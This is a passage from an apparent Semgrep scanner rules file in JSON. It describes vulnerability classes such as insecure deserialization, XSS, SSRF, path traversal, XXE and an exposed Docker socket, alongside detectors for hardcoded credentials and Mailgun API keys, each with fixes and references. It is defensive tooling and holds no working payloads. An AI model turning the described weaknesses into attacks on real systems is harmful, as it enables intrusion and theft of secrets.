java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"help":{"markdown":"Unsafe functions do not perform boundary checks or have other side effects, use with care.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe)\n - [https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get](https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get)\n - [https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string](https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string)\n","text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"helpUri":"https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe","id":"ocaml.lang.security.unsafe.ocamllint-unsafe","name":"ocaml.lang.security.unsafe.ocamllint-unsafe","properties":{"precision":"very-high","tags":["CWE-242: Use of Inherently Dangerous Function (4.12)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.security.unsafe.ocamllint-unsafe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"help":{"markdown":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync","id":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","name":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-sync.keychain-device-sync"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","id":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","name":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel","id":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","name":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-ruamel.tainted-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath)\n - [https://kubernetes.io/docs/concepts/storage/volumes/#hostpath](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","id":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","name":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","id":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","name":"go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"help":{"markdown":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `ENV` detected. Set this by using FLASK_ENV environment variable"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_ENV"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","id":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","name":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","id":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","name":"typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-dangerouslysetinnerhtml.react-nextjs-router-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint.file-access-taint","id":"java.micronaut.path-traversal.file-access-taint.file-access-taint","name":"java.micronaut.path-traversal.file-access-taint.file-access-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint.file-access-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open.insecure-openerdirector-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","id":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","name":"python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-stdlib.tainted-django-xml-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","id":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","name":"python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-shelve-aws-lambda.tainted-shelve-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Mailgun API Key detected"},"help":{"markdown":"Mailgun API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailgun-api-key.detected-mailgun-api-key)\n - 